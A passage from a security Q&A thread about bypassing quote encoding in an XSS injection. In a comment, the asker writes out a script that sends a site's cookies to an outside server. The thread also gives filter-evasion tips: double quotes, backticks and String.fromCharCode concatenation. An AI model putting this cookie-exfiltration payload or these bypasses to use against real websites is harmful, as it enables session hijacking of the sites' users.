I'm trying to do an XSS attack test on a website. I am using " and <> just fine and I have managed to escape the string. Now I'm trying to send my own cookie to my server that saves it to a txt file.

I inject this code to send the cookie:


The only problem is that it encodes both single quotes (') and it changes to %27. Is there any way I can bypass this encoding on single quotes or inject the code somehow without single quotes?

  • Is there some reason you don't want to use " (actual quotation mark) in the injected payload? You said it was working (in practice, I doubt you'll ever find a real-world system that escapes ' but not "). Also that's a very crude and obvious XSS payload; you generally want to be more subtle although I suppose it works for proof-of-concept.
    – CBHacking
    Sep 2 at 5:18
  • @SteffenUllrich: the linked question doesn't have the same execution context as it's about breaking from HTML attributes, which this question doesn't need to care about. Sep 2 at 6:50

I see at least 3 possible bypasses:

Double quotes

The most obvious one, which should work based on your post, is by using double quotes instead of simple quotes:



The second one, which is rarely filtered in my experience, is by using backticks around the string:


String encoding

The third one works by encoding the static string in JavaScript:


Note: to prevent anyone from inadvertently running a cookie-stealing script on this page, I've intentionally disabled the cookie part from those strings.

  • for some reason when i use double quotes instead of single ones it dosnt work. here is the code : <script>document.location="http://khodrochi.unaux.com/khodrochi.php?x="+document.cookie;</script> i know for sure that my source in server side that saves the input is ok becouse i tested it. and one more thing. the cookies on target website is like this: _ga and _gat_gtag_UA_74850411_3 and _gid. is it possible that the problem is it has 3 cookies instead of one?
    – Sina
    Sep 2 at 19:16
  • ohh i see the problem now! when i use the code it removes the + on source code. what should i do about that? sry this problem is taking too long im just a begginer
    – Sina
    Sep 2 at 19:25
  • Using the 3rd method: String.concat(String.fromCharCode(/* ... */), document.cookie). Also note that HTTP-only cookies can't be grabbed in JavaScript. Sep 3 at 7:38

Not the answer you're looking for? Browse other questions tagged or ask your own question.